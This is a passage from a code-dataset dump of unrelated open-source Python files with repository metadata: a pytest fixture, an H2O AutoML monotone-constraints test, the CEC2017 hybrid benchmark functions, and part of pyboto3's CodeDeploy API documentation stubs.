matchd-ch/matchd-backend

84be4aab1b4708cae50a8988301b15df877c8db0

[ "Apache-2.0" ]

1

2022-03-03T09:55:57.000Z

db/tests/fixtures/faq_category.py

matchd-ch/matchd-backend

84be4aab1b4708cae50a8988301b15df877c8db0

[ "Apache-2.0" ]

7

2022-02-09T10:44:53.000Z

2022-03-28T03:29:43.000Z

db/tests/fixtures/faq_category.py

matchd-ch/matchd-backend

84be4aab1b4708cae50a8988301b15df877c8db0

[ "Apache-2.0" ]

null

import pytest @pytest.fixture def faq_category_valid_args(): return {'name': 'General'}

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3,276

py

Python

h2o-py/tests/testdir_algos/automl/pyunit_automl_monotone_constraints.py

vishalbelsare/h2o-3

9322fb0f4c0e2358449e339a434f607d524c69fa

[ "Apache-2.0" ]

1

2022-03-15T06:08:14.000Z

h2o-py/tests/testdir_algos/automl/pyunit_automl_monotone_constraints.py

vishalbelsare/h2o-3

9322fb0f4c0e2358449e339a434f607d524c69fa

[ "Apache-2.0" ]

58

2021-10-01T12:43:37.000Z

2021-12-08T22:58:43.000Z

h2o-py/tests/testdir_algos/automl/pyunit_automl_monotone_constraints.py

vishalbelsare/h2o-3

9322fb0f4c0e2358449e339a434f607d524c69fa

[ "Apache-2.0" ]

null

from __future__ import print_function import sys, os import re sys.path.insert(1, os.path.join("..","..","..")) import h2o import h2o.exceptions from h2o.automl import H2OAutoML from tests import pyunit_utils as pu from _automl_utils import import_dataset, get_partitioned_model_names max_models = 5 def test_monotone_constraints(): ds = import_dataset() aml = H2OAutoML(project_name="py_monotone_constraints", monotone_constraints=dict(AGE=1, VOL=-1), # constraints just for the sake of testing max_models=6, seed=1) aml.train(y=ds.target, training_frame=ds.train) model_names = get_partitioned_model_names(aml.leaderboard).all models_supporting_monotone_constraints = [n for n in model_names if re.match(r"GBM|XGBoost", n)] assert len(models_supporting_monotone_constraints) < len(model_names), \ "models not supporting the constraint should not have been skipped" for m in models_supporting_monotone_constraints: model = h2o.get_model(m) value = next(v['actual'] for n, v in model.params.items() if n == 'monotone_constraints') assert isinstance(value, list) assert len(value) == 2 age = next((v for v in value if v['key'] == 'AGE'), None) assert age is not None assert age['value'] == 1.0 vol = next((v for v in value if v['key'] == 'VOL'), None) assert vol is not None assert vol['value'] == -1.0 def test_monotone_constraints_can_be_passed_as_algo_parameter(): ds = import_dataset() aml = H2OAutoML(project_name="py_monotone_constraints", algo_parameters=dict( monotone_constraints=dict(AGE=1, VOL=-1), # constraints just for the sake of testing # ntrees=10, ), max_models=6, seed=1) aml.train(y=ds.target, training_frame=ds.train) model_names = get_partitioned_model_names(aml.leaderboard).all models_supporting_monotone_constraints = [n for n in model_names if re.match(r"GBM|XGBoost", n)] assert len(models_supporting_monotone_constraints) < len(model_names), \ "models not supporting the constraint should not have been skipped" for m in models_supporting_monotone_constraints: model = h2o.get_model(m) value = next(v['actual'] for n, v in model.params.items() if n == 'monotone_constraints') # print(param) assert isinstance(value, list) assert len(value) == 2 age = next((v for v in value if v['key'] == 'AGE'), None) assert age is not None assert age['value'] == 1.0 vol = next((v for v in value if v['key'] == 'VOL'), None) assert vol is not None assert vol['value'] == -1.0 # models_supporting_ntrees = [n for n in model_names if re.match(r"DRF|GBM|XGBoost|XRT", n)] # assert len(models_supporting_ntrees) > 0 # for m in models_supporting_ntrees: # model = h2o.get_model(m) # value = next(v['actual'] for n, v in model.params.items() if n == 'ntrees') # assert value == 10 pu.run_tests([ test_monotone_constraints, test_monotone_constraints_can_be_passed_as_algo_parameter, ])

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py

Python

cec2017/hybrid.py

tilleyd/cec2017-py

5b47cc36c3723c9b6c2e6dd26328b2de45e4993f

[ "MIT" ]

16

2020-04-06T04:34:38.000Z

2022-03-24T12:29:57.000Z

cec2017/hybrid.py

lukaa12/cec2017-py

0c241240bfaf11d0f42a607a235b1825ad11e4f7

[ "MIT" ]

3

2021-07-17T20:46:48.000Z

2022-03-28T06:48:47.000Z

cec2017/hybrid.py

lukaa12/cec2017-py

0c241240bfaf11d0f42a607a235b1825ad11e4f7

[ "MIT" ]

4

2021-05-26T19:32:53.000Z

2022-03-24T13:27:30.000Z

# cec2017.hybrid # Author: Duncan Tilley # Hybrid function definitions, f11 to f20 from . import basic from . import transforms import numpy as np def _shuffle_and_partition(x, shuffle, partitions): """ First applies the given permutation, then splits x into partitions given the percentages. Args: x (array): Input vector. shuffle (array): Shuffle vector. partitions (list): List of percentages. Assumed to add up to 1.0. Returns: (list of arrays): The partitions of x after shuffling. """ nx = len(x) # shuffle xs = np.zeros(x.shape) for i in range(0, nx): xs[i] = x[shuffle[i]] # and partition parts = [] start, end = 0, 0 for p in partitions[:-1]: end = start + int(np.ceil(p * nx)) parts.append(xs[start:end]) start = end parts.append(xs[end:]) return parts def f11(x, rotation=None, shift=None, shuffle=None): """ Hybrid Function 1 (N=3) Args: x (array): Input vector of dimension 2, 10, 20, 30, 50 or 100. rotation (matrix): Optional rotation matrix. If None (default), the official matrix from the benchmark suite will be used. shift (array): Optional shift vector. If None (default), the official vector from the benchmark suite will be used. shuffle (array): Optionbal shuffle vector. If None (default), the official permutation vector from the benchmark suite will be used. """ nx = len(x) if rotation is None: rotation = transforms.rotations[nx][10] if shift is None: shift = transforms.shifts[10][:nx] if shuffle is None: shuffle = transforms.shuffles[nx][0] x_transformed = np.matmul(rotation, x - shift) x_parts = _shuffle_and_partition(x_transformed, shuffle, [0.2, 0.4, 0.4]) y = basic.zakharov(x_parts[0]) y += basic.rosenbrock(x_parts[1]) y += basic.rastrigin(x_parts[2]) return y + 1100.0 def f12(x, rotation=None, shift=None, shuffle=None): """ Hybrid Function 2 (N=3) Args: x (array): Input vector of dimension 2, 10, 20, 30, 50 or 100. rotation (matrix): Optional rotation matrix. If None (default), the official matrix from the benchmark suite will be used. shift (array): Optional shift vector. If None (default), the official vector from the benchmark suite will be used. shuffle (array): Optionbal shuffle vector. If None (default), the official permutation vector from the benchmark suite will be used. """ nx = len(x) if rotation is None: rotation = transforms.rotations[nx][11] if shift is None: shift = transforms.shifts[11][:nx] if shuffle is None: shuffle = transforms.shuffles[nx][1] x_transformed = np.matmul(rotation, x - shift) x_parts = _shuffle_and_partition(x_transformed, shuffle, [0.3, 0.3, 0.4]) y = basic.high_conditioned_elliptic(x_parts[0]) y += basic.modified_schwefel(x_parts[1]) y += basic.bent_cigar(x_parts[2]) return y + 1200.0 def f13(x, rotation=None, shift=None, shuffle=None): """ Hybrid Function 3 (N=3) Args: x (array): Input vector of dimension 2, 10, 20, 30, 50 or 100. rotation (matrix): Optional rotation matrix. If None (default), the official matrix from the benchmark suite will be used. shift (array): Optional shift vector. If None (default), the official vector from the benchmark suite will be used. shuffle (array): Optionbal shuffle vector. If None (default), the official permutation vector from the benchmark suite will be used. """ nx = len(x) if rotation is None: rotation = transforms.rotations[nx][12] if shift is None: shift = transforms.shifts[12][:nx] if shuffle is None: shuffle = transforms.shuffles[nx][2] x_transformed = np.matmul(rotation, x - shift) x_parts = _shuffle_and_partition(x_transformed, shuffle, [0.3, 0.3, 0.4]) y = basic.bent_cigar(x_parts[0]) y += basic.rosenbrock(x_parts[1]) y += basic.lunacek_bi_rastrigin(x_parts[2]) return y + 1300.0 def f14(x, rotation=None, shift=None, shuffle=None): """ Hybrid Function 4 (N=4) Args: x (array): Input vector of dimension 2, 10, 20, 30, 50 or 100. rotation (matrix): Optional rotation matrix. If None (default), the official matrix from the benchmark suite will be used. shift (array): Optional shift vector. If None (default), the official vector from the benchmark suite will be used. shuffle (array): Optionbal shuffle vector. If None (default), the official permutation vector from the benchmark suite will be used. """ nx = len(x) if rotation is None: rotation = transforms.rotations[nx][13] if shift is None: shift = transforms.shifts[13][:nx] if shuffle is None: shuffle = transforms.shuffles[nx][3] x_transformed = np.matmul(rotation, x - shift) x_parts = _shuffle_and_partition(x_transformed, shuffle, [0.2, 0.2, 0.2, 0.4]) y = basic.high_conditioned_elliptic(x_parts[0]) y += basic.ackley(x_parts[1]) y += basic.schaffers_f7(x_parts[2]) y += basic.rastrigin(x_parts[3]) return y + 1400.0 def f15(x, rotation=None, shift=None, shuffle=None): """ Hybrid Function 5 (N=4) Args: x (array): Input vector of dimension 2, 10, 20, 30, 50 or 100. rotation (matrix): Optional rotation matrix. If None (default), the official matrix from the benchmark suite will be used. shift (array): Optional shift vector. If None (default), the official vector from the benchmark suite will be used. shuffle (array): Optionbal shuffle vector. If None (default), the official permutation vector from the benchmark suite will be used. """ nx = len(x) if rotation is None: rotation = transforms.rotations[nx][14] if shift is None: shift = transforms.shifts[14][:nx] if shuffle is None: shuffle = transforms.shuffles[nx][4] x_transformed = np.matmul(rotation, x - shift) x_parts = _shuffle_and_partition(x_transformed, shuffle, [0.2, 0.2, 0.3, 0.3]) y = basic.bent_cigar(x_parts[0]) y += basic.h_g_bat(x_parts[1]) y += basic.rastrigin(x_parts[2]) y += basic.rosenbrock(x_parts[3]) return y + 1500.0 def f16(x, rotation=None, shift=None, shuffle=None): """ Hybrid Function 6 (N=4) Args: x (array): Input vector of dimension 2, 10, 20, 30, 50 or 100. rotation (matrix): Optional rotation matrix. If None (default), the official matrix from the benchmark suite will be used. shift (array): Optional shift vector. If None (default), the official vector from the benchmark suite will be used. shuffle (array): Optionbal shuffle vector. If None (default), the official permutation vector from the benchmark suite will be used. """ nx = len(x) if rotation is None: rotation = transforms.rotations[nx][15] if shift is None: shift = transforms.shifts[15][:nx] if shuffle is None: shuffle = transforms.shuffles[nx][5] x_transformed = np.matmul(rotation, x - shift) x_parts = _shuffle_and_partition(x_transformed, shuffle, [0.2, 0.2, 0.3, 0.3]) y = basic.expanded_schaffers_f6(x_parts[0]) y += basic.h_g_bat(x_parts[1]) y += basic.rosenbrock(x_parts[2]) y += basic.modified_schwefel(x_parts[3]) return y + 1600.0 def f17(x, rotation=None, shift=None, shuffle=None): """ Hybrid Function 7 (N=5) Args: x (array): Input vector of dimension 2, 10, 20, 30, 50 or 100. rotation (matrix): Optional rotation matrix. If None (default), the official matrix from the benchmark suite will be used. shift (array): Optional shift vector. If None (default), the official vector from the benchmark suite will be used. shuffle (array): Optionbal shuffle vector. If None (default), the official permutation vector from the benchmark suite will be used. """ nx = len(x) if rotation is None: rotation = transforms.rotations[nx][16] if shift is None: shift = transforms.shifts[16][:nx] if shuffle is None: shuffle = transforms.shuffles[nx][6] x_transformed = np.matmul(rotation, x - shift) x_parts = _shuffle_and_partition(x_transformed, shuffle, [0.1, 0.2, 0.2, 0.2, 0.3]) y = basic.katsuura(x_parts[0]) y += basic.ackley(x_parts[1]) y += basic.expanded_griewanks_plus_rosenbrock(x_parts[2]) y += basic.modified_schwefel(x_parts[3]) y += basic.rastrigin(x_parts[4]) return y + 1700.0 def f18(x, rotation=None, shift=None, shuffle=None): """ Hybrid Function 8 (N=5) Args: x (array): Input vector of dimension 2, 10, 20, 30, 50 or 100. rotation (matrix): Optional rotation matrix. If None (default), the official matrix from the benchmark suite will be used. shift (array): Optional shift vector. If None (default), the official vector from the benchmark suite will be used. shuffle (array): Optionbal shuffle vector. If None (default), the official permutation vector from the benchmark suite will be used. """ nx = len(x) if rotation is None: rotation = transforms.rotations[nx][17] if shift is None: shift = transforms.shifts[17][:nx] if shuffle is None: shuffle = transforms.shuffles[nx][7] x_transformed = np.matmul(rotation, x - shift) x_parts = _shuffle_and_partition(x_transformed, shuffle, [0.2, 0.2, 0.2, 0.2, 0.2]) y = basic.high_conditioned_elliptic(x_parts[0]) y += basic.ackley(x_parts[1]) y += basic.rastrigin(x_parts[2]) y += basic.h_g_bat(x_parts[3]) y += basic.discus(x_parts[4]) return y + 1800.0 def f19(x, rotation=None, shift=None, shuffle=None): """ Hybrid Function 9 (N=5) Args: x (array): Input vector of dimension 2, 10, 20, 30, 50 or 100. rotation (matrix): Optional rotation matrix. If None (default), the official matrix from the benchmark suite will be used. shift (array): Optional shift vector. If None (default), the official vector from the benchmark suite will be used. shuffle (array): Optionbal shuffle vector. If None (default), the official permutation vector from the benchmark suite will be used. """ nx = len(x) if rotation is None: rotation = transforms.rotations[nx][18] if shift is None: shift = transforms.shifts[18][:nx] if shuffle is None: shuffle = transforms.shuffles[nx][8] x_transformed = np.matmul(rotation, x - shift) x_parts = _shuffle_and_partition(x_transformed, shuffle, [0.2, 0.2, 0.2, 0.2, 0.2]) y = basic.bent_cigar(x_parts[0]) y += basic.rastrigin(x_parts[1]) y += basic.expanded_griewanks_plus_rosenbrock(x_parts[2]) y += basic.weierstrass(x_parts[3]) y += basic.expanded_schaffers_f6(x_parts[4]) return y + 1900.0 def f20(x, rotation=None, shift=None, shuffle=None): """ Hybrid Function 10 (N=6) Args: x (array): Input vector of dimension 2, 10, 20, 30, 50 or 100. rotation (matrix): Optional rotation matrix. If None (default), the official matrix from the benchmark suite will be used. shift (array): Optional shift vector. If None (default), the official vector from the benchmark suite will be used. shuffle (array): Optionbal shuffle vector. If None (default), the official permutation vector from the benchmark suite will be used. """ nx = len(x) if rotation is None: rotation = transforms.rotations[nx][19] if shift is None: shift = transforms.shifts[19][:nx] if shuffle is None: shuffle = transforms.shuffles[nx][9] x_transformed = np.matmul(rotation, x - shift) x_parts = _shuffle_and_partition(x_transformed, shuffle, [0.1, 0.1, 0.2, 0.2, 0.2, 0.2]) y = basic.happy_cat(x_parts[0]) y += basic.katsuura(x_parts[1]) y += basic.ackley(x_parts[2]) y += basic.rastrigin(x_parts[3]) y += basic.modified_schwefel(x_parts[4]) y += basic.schaffers_f7(x_parts[5]) return y + 2000.0 all_functions = [ f11, f12, f13, f14, f15, f16, f17, f18, f19, f20 ]

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Python

pyboto3/codedeploy.py

thecraftman/pyboto3

653a0db2b00b06708334431da8f169d1f7c7734f

[ "MIT" ]

null

pyboto3/codedeploy.py

thecraftman/pyboto3

653a0db2b00b06708334431da8f169d1f7c7734f

[ "MIT" ]

null

pyboto3/codedeploy.py

thecraftman/pyboto3

653a0db2b00b06708334431da8f169d1f7c7734f

[ "MIT" ]

null

''' The MIT License (MIT) Copyright (c) 2016 WavyCloud Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' def add_tags_to_on_premises_instances(tags=None, instanceNames=None): """ Adds tags to on-premises instances. See also: AWS API Documentation :example: response = client.add_tags_to_on_premises_instances( tags=[ { 'Key': 'string', 'Value': 'string' }, ], instanceNames=[ 'string', ] ) :type tags: list :param tags: [REQUIRED] The tag key-value pairs to add to the on-premises instances. Keys and values are both required. Keys cannot be null or empty strings. Value-only tags are not allowed. (dict) --Information about a tag. Key (string) --The tag's key. Value (string) --The tag's value. :type instanceNames: list :param instanceNames: [REQUIRED] The names of the on-premises instances to which to add tags. (string) -- """ pass def batch_get_application_revisions(applicationName=None, revisions=None): """ Gets information about one or more application revisions. See also: AWS API Documentation :example: response = client.batch_get_application_revisions( applicationName='string', revisions=[ { 'revisionType': 'S3'|'GitHub', 's3Location': { 'bucket': 'string', 'key': 'string', 'bundleType': 'tar'|'tgz'|'zip', 'version': 'string', 'eTag': 'string' }, 'gitHubLocation': { 'repository': 'string', 'commitId': 'string' } }, ] ) :type applicationName: string :param applicationName: [REQUIRED] The name of an AWS CodeDeploy application about which to get revision information. :type revisions: list :param revisions: [REQUIRED] Information to get about the application revisions, including type and location. (dict) --Information about the location of an application revision. revisionType (string) --The type of application revision: S3: An application revision stored in Amazon S3. GitHub: An application revision stored in GitHub. s3Location (dict) --Information about the location of application artifacts stored in Amazon S3. bucket (string) --The name of the Amazon S3 bucket where the application revision is stored. key (string) --The name of the Amazon S3 object that represents the bundled artifacts for the application revision. bundleType (string) --The file type of the application revision. Must be one of the following: tar: A tar archive file. tgz: A compressed tar archive file. zip: A zip archive file. version (string) --A specific version of the Amazon S3 object that represents the bundled artifacts for the application revision. If the version is not specified, the system will use the most recent version by default. eTag (string) --The ETag of the Amazon S3 object that represents the bundled artifacts for the application revision. If the ETag is not specified as an input parameter, ETag validation of the object will be skipped. gitHubLocation (dict) --Information about the location of application artifacts stored in GitHub. repository (string) --The GitHub account and repository pair that stores a reference to the commit that represents the bundled artifacts for the application revision. Specified as account/repository. commitId (string) --The SHA1 commit ID of the GitHub commit that represents the bundled artifacts for the application revision. :rtype: dict :return: { 'applicationName': 'string', 'errorMessage': 'string', 'revisions': [ { 'revisionLocation': { 'revisionType': 'S3'|'GitHub', 's3Location': { 'bucket': 'string', 'key': 'string', 'bundleType': 'tar'|'tgz'|'zip', 'version': 'string', 'eTag': 'string' }, 'gitHubLocation': { 'repository': 'string', 'commitId': 'string' } }, 'genericRevisionInfo': { 'description': 'string', 'deploymentGroups': [ 'string', ], 'firstUsedTime': datetime(2015, 1, 1), 'lastUsedTime': datetime(2015, 1, 1), 'registerTime': datetime(2015, 1, 1) } }, ] } :returns: S3: An application revision stored in Amazon S3. GitHub: An application revision stored in GitHub. """ pass def batch_get_applications(applicationNames=None): """ Gets information about one or more applications. See also: AWS API Documentation :example: response = client.batch_get_applications( applicationNames=[ 'string', ] ) :type applicationNames: list :param applicationNames: A list of application names separated by spaces. (string) -- :rtype: dict :return: { 'applicationsInfo': [ { 'applicationId': 'string', 'applicationName': 'string', 'createTime': datetime(2015, 1, 1), 'linkedToGitHub': True|False, 'gitHubAccountName': 'string' }, ] } """ pass def batch_get_deployment_groups(applicationName=None, deploymentGroupNames=None): """ Gets information about one or more deployment groups. See also: AWS API Documentation :example: response = client.batch_get_deployment_groups( applicationName='string', deploymentGroupNames=[ 'string', ] ) :type applicationName: string :param applicationName: [REQUIRED] The name of an AWS CodeDeploy application associated with the applicable IAM user or AWS account. :type deploymentGroupNames: list :param deploymentGroupNames: [REQUIRED] The deployment groups' names. (string) -- :rtype: dict :return: { 'deploymentGroupsInfo': [ { 'applicationName': 'string', 'deploymentGroupId': 'string', 'deploymentGroupName': 'string', 'deploymentConfigName': 'string', 'ec2TagFilters': [ { 'Key': 'string', 'Value': 'string', 'Type': 'KEY_ONLY'|'VALUE_ONLY'|'KEY_AND_VALUE' }, ], 'onPremisesInstanceTagFilters': [ { 'Key': 'string', 'Value': 'string', 'Type': 'KEY_ONLY'|'VALUE_ONLY'|'KEY_AND_VALUE' }, ], 'autoScalingGroups': [ { 'name': 'string', 'hook': 'string' }, ], 'serviceRoleArn': 'string', 'targetRevision': { 'revisionType': 'S3'|'GitHub', 's3Location': { 'bucket': 'string', 'key': 'string', 'bundleType': 'tar'|'tgz'|'zip', 'version': 'string', 'eTag': 'string' }, 'gitHubLocation': { 'repository': 'string', 'commitId': 'string' } }, 'triggerConfigurations': [ { 'triggerName': 'string', 'triggerTargetArn': 'string', 'triggerEvents': [ 'DeploymentStart'|'DeploymentSuccess'|'DeploymentFailure'|'DeploymentStop'|'DeploymentRollback'|'DeploymentReady'|'InstanceStart'|'InstanceSuccess'|'InstanceFailure'|'InstanceReady', ] }, ], 'alarmConfiguration': { 'enabled': True|False, 'ignorePollAlarmFailure': True|False, 'alarms': [ { 'name': 'string' }, ] }, 'autoRollbackConfiguration': { 'enabled': True|False, 'events': [ 'DEPLOYMENT_FAILURE'|'DEPLOYMENT_STOP_ON_ALARM'|'DEPLOYMENT_STOP_ON_REQUEST', ] }, 'deploymentStyle': { 'deploymentType': 'IN_PLACE'|'BLUE_GREEN', 'deploymentOption': 'WITH_TRAFFIC_CONTROL'|'WITHOUT_TRAFFIC_CONTROL' }, 'blueGreenDeploymentConfiguration': { 'terminateBlueInstancesOnDeploymentSuccess': { 'action': 'TERMINATE'|'KEEP_ALIVE', 'terminationWaitTimeInMinutes': 123 }, 'deploymentReadyOption': { 'actionOnTimeout': 'CONTINUE_DEPLOYMENT'|'STOP_DEPLOYMENT', 'waitTimeInMinutes': 123 }, 'greenFleetProvisioningOption': { 'action': 'DISCOVER_EXISTING'|'COPY_AUTO_SCALING_GROUP' } }, 'loadBalancerInfo': { 'elbInfoList': [ { 'name': 'string' }, ] }, 'lastSuccessfulDeployment': { 'deploymentId': 'string', 'status': 'Created'|'Queued'|'InProgress'|'Succeeded'|'Failed'|'Stopped'|'Ready', 'endTime': datetime(2015, 1, 1), 'createTime': datetime(2015, 1, 1) }, 'lastAttemptedDeployment': { 'deploymentId': 'string', 'status': 'Created'|'Queued'|'InProgress'|'Succeeded'|'Failed'|'Stopped'|'Ready', 'endTime': datetime(2015, 1, 1), 'createTime': datetime(2015, 1, 1) } }, ], 'errorMessage': 'string' } :returns: KEY_ONLY: Key only. VALUE_ONLY: Value only. KEY_AND_VALUE: Key and value. """ pass def batch_get_deployment_instances(deploymentId=None, instanceIds=None): """ Gets information about one or more instance that are part of a deployment group. See also: AWS API Documentation :example: response = client.batch_get_deployment_instances( deploymentId='string', instanceIds=[ 'string', ] ) :type deploymentId: string :param deploymentId: [REQUIRED] The unique ID of a deployment. :type instanceIds: list :param instanceIds: [REQUIRED] The unique IDs of instances in the deployment group. (string) -- :rtype: dict :return: { 'instancesSummary': [ { 'deploymentId': 'string', 'instanceId': 'string', 'status': 'Pending'|'InProgress'|'Succeeded'|'Failed'|'Skipped'|'Unknown'|'Ready', 'lastUpdatedAt': datetime(2015, 1, 1), 'lifecycleEvents': [ { 'lifecycleEventName': 'string', 'diagnostics': { 'errorCode': 'Success'|'ScriptMissing'|'ScriptNotExecutable'|'ScriptTimedOut'|'ScriptFailed'|'UnknownError', 'scriptName': 'string', 'message': 'string', 'logTail': 'string' }, 'startTime': datetime(2015, 1, 1), 'endTime': datetime(2015, 1, 1), 'status': 'Pending'|'InProgress'|'Succeeded'|'Failed'|'Skipped'|'Unknown' }, ], 'instanceType': 'Blue'|'Green' }, ], 'errorMessage': 'string' } :returns: Pending: The deployment is pending for this instance. In Progress: The deployment is in progress for this instance. Succeeded: The deployment has succeeded for this instance. Failed: The deployment has failed for this instance. Skipped: The deployment has been skipped for this instance. Unknown: The deployment status is unknown for this instance. """ pass def batch_get_deployments(deploymentIds=None): """ Gets information about one or more deployments. See also: AWS API Documentation :example: response = client.batch_get_deployments( deploymentIds=[ 'string', ] ) :type deploymentIds: list :param deploymentIds: A list of deployment IDs, separated by spaces. (string) -- :rtype: dict :return: { 'deploymentsInfo': [ { 'applicationName': 'string', 'deploymentGroupName': 'string', 'deploymentConfigName': 'string', 'deploymentId': 'string', 'previousRevision': { 'revisionType': 'S3'|'GitHub', 's3Location': { 'bucket': 'string', 'key': 'string', 'bundleType': 'tar'|'tgz'|'zip', 'version': 'string', 'eTag': 'string' }, 'gitHubLocation': { 'repository': 'string', 'commitId': 'string' } }, 'revision': { 'revisionType': 'S3'|'GitHub', 's3Location': { 'bucket': 'string', 'key': 'string', 'bundleType': 'tar'|'tgz'|'zip', 'version': 'string', 'eTag': 'string' }, 'gitHubLocation': { 'repository': 'string', 'commitId': 'string' } }, 'status': 'Created'|'Queued'|'InProgress'|'Succeeded'|'Failed'|'Stopped'|'Ready', 'errorInformation': { 'code': 'DEPLOYMENT_GROUP_MISSING'|'APPLICATION_MISSING'|'REVISION_MISSING'|'IAM_ROLE_MISSING'|'IAM_ROLE_PERMISSIONS'|'NO_EC2_SUBSCRIPTION'|'OVER_MAX_INSTANCES'|'NO_INSTANCES'|'TIMEOUT'|'HEALTH_CONSTRAINTS_INVALID'|'HEALTH_CONSTRAINTS'|'INTERNAL_ERROR'|'THROTTLED'|'ALARM_ACTIVE'|'AGENT_ISSUE'|'AUTO_SCALING_IAM_ROLE_PERMISSIONS'|'AUTO_SCALING_CONFIGURATION'|'MANUAL_STOP', 'message': 'string' }, 'createTime': datetime(2015, 1, 1), 'startTime': datetime(2015, 1, 1), 'completeTime': datetime(2015, 1, 1), 'deploymentOverview': { 'Pending': 123, 'InProgress': 123, 'Succeeded': 123, 'Failed': 123, 'Skipped': 123, 'Ready': 123 }, 'description': 'string', 'creator': 'user'|'autoscaling'|'codeDeployRollback', 'ignoreApplicationStopFailures': True|False, 'autoRollbackConfiguration': { 'enabled': True|False, 'events': [ 'DEPLOYMENT_FAILURE'|'DEPLOYMENT_STOP_ON_ALARM'|'DEPLOYMENT_STOP_ON_REQUEST', ] }, 'updateOutdatedInstancesOnly': True|False, 'rollbackInfo': { 'rollbackDeploymentId': 'string', 'rollbackTriggeringDeploymentId': 'string', 'rollbackMessage': 'string' }, 'deploymentStyle': { 'deploymentType': 'IN_PLACE'|'BLUE_GREEN', 'deploymentOption': 'WITH_TRAFFIC_CONTROL'|'WITHOUT_TRAFFIC_CONTROL' }, 'targetInstances': { 'tagFilters': [ { 'Key': 'string', 'Value': 'string', 'Type': 'KEY_ONLY'|'VALUE_ONLY'|'KEY_AND_VALUE' }, ], 'autoScalingGroups': [ 'string', ] }, 'instanceTerminationWaitTimeStarted': True|False, 'blueGreenDeploymentConfiguration': { 'terminateBlueInstancesOnDeploymentSuccess': { 'action': 'TERMINATE'|'KEEP_ALIVE', 'terminationWaitTimeInMinutes': 123 }, 'deploymentReadyOption': { 'actionOnTimeout': 'CONTINUE_DEPLOYMENT'|'STOP_DEPLOYMENT', 'waitTimeInMinutes': 123 }, 'greenFleetProvisioningOption': { 'action': 'DISCOVER_EXISTING'|'COPY_AUTO_SCALING_GROUP' } }, 'loadBalancerInfo': { 'elbInfoList': [ { 'name': 'string' }, ] }, 'additionalDeploymentStatusInfo': 'string', 'fileExistsBehavior': 'DISALLOW'|'OVERWRITE'|'RETAIN' }, ] } :returns: S3: An application revision stored in Amazon S3. GitHub: An application revision stored in GitHub. """ pass def batch_get_on_premises_instances(instanceNames=None): """ Gets information about one or more on-premises instances. See also: AWS API Documentation :example: response = client.batch_get_on_premises_instances( instanceNames=[ 'string', ] ) :type instanceNames: list :param instanceNames: The names of the on-premises instances about which to get information. (string) -- :rtype: dict :return: { 'instanceInfos': [ { 'instanceName': 'string', 'iamSessionArn': 'string', 'iamUserArn': 'string', 'instanceArn': 'string', 'registerTime': datetime(2015, 1, 1), 'deregisterTime': datetime(2015, 1, 1), 'tags': [ { 'Key': 'string', 'Value': 'string' }, ] }, ] } """ pass def can_paginate(operation_name=None): """ Check if an operation can be paginated. :type operation_name: string :param operation_name: The operation name. This is the same name as the method name on the client. For example, if the method name is create_foo, and you'd normally invoke the operation as client.create_foo(**kwargs), if the create_foo operation can be paginated, you can use the call client.get_paginator('create_foo'). """ pass def continue_deployment(deploymentId=None): """ For a blue/green deployment, starts the process of rerouting traffic from instances in the original environment to instances in the replacement environment without waiting for a specified wait time to elapse. (Traffic rerouting, which is achieved by registering instances in the replacement environment with the load balancer, can start as soon as all instances have a status of Ready.) See also: AWS API Documentation :example: response = client.continue_deployment( deploymentId='string' ) :type deploymentId: string :param deploymentId: The deployment ID of the blue/green deployment for which you want to start rerouting traffic to the replacement environment. """ pass def create_application(applicationName=None): """ Creates an application. See also: AWS API Documentation :example: response = client.create_application( applicationName='string' ) :type applicationName: string :param applicationName: [REQUIRED] The name of the application. This name must be unique with the applicable IAM user or AWS account. :rtype: dict :return: { 'applicationId': 'string' } """ pass def create_deployment(applicationName=None, deploymentGroupName=None, revision=None, deploymentConfigName=None, description=None, ignoreApplicationStopFailures=None, targetInstances=None, autoRollbackConfiguration=None, updateOutdatedInstancesOnly=None, fileExistsBehavior=None): """ Deploys an application revision through the specified deployment group. See also: AWS API Documentation :example: response = client.create_deployment( applicationName='string', deploymentGroupName='string', revision={ 'revisionType': 'S3'|'GitHub', 's3Location': { 'bucket': 'string', 'key': 'string', 'bundleType': 'tar'|'tgz'|'zip', 'version': 'string', 'eTag': 'string' }, 'gitHubLocation': { 'repository': 'string', 'commitId': 'string' } }, deploymentConfigName='string', description='string', ignoreApplicationStopFailures=True|False, targetInstances={ 'tagFilters': [ { 'Key': 'string', 'Value': 'string', 'Type': 'KEY_ONLY'|'VALUE_ONLY'|'KEY_AND_VALUE' }, ], 'autoScalingGroups': [ 'string', ] }, autoRollbackConfiguration={ 'enabled': True|False, 'events': [ 'DEPLOYMENT_FAILURE'|'DEPLOYMENT_STOP_ON_ALARM'|'DEPLOYMENT_STOP_ON_REQUEST', ] }, updateOutdatedInstancesOnly=True|False, fileExistsBehavior='DISALLOW'|'OVERWRITE'|'RETAIN' ) :type applicationName: string :param applicationName: [REQUIRED] The name of an AWS CodeDeploy application associated with the applicable IAM user or AWS account. :type deploymentGroupName: string :param deploymentGroupName: The name of the deployment group. :type revision: dict :param revision: The type and location of the revision to deploy. revisionType (string) --The type of application revision: S3: An application revision stored in Amazon S3. GitHub: An application revision stored in GitHub. s3Location (dict) --Information about the location of application artifacts stored in Amazon S3. bucket (string) --The name of the Amazon S3 bucket where the application revision is stored. key (string) --The name of the Amazon S3 object that represents the bundled artifacts for the application revision. bundleType (string) --The file type of the application revision. Must be one of the following: tar: A tar archive file. tgz: A compressed tar archive file. zip: A zip archive file. version (string) --A specific version of the Amazon S3 object that represents the bundled artifacts for the application revision. If the version is not specified, the system will use the most recent version by default. eTag (string) --The ETag of the Amazon S3 object that represents the bundled artifacts for the application revision. If the ETag is not specified as an input parameter, ETag validation of the object will be skipped. gitHubLocation (dict) 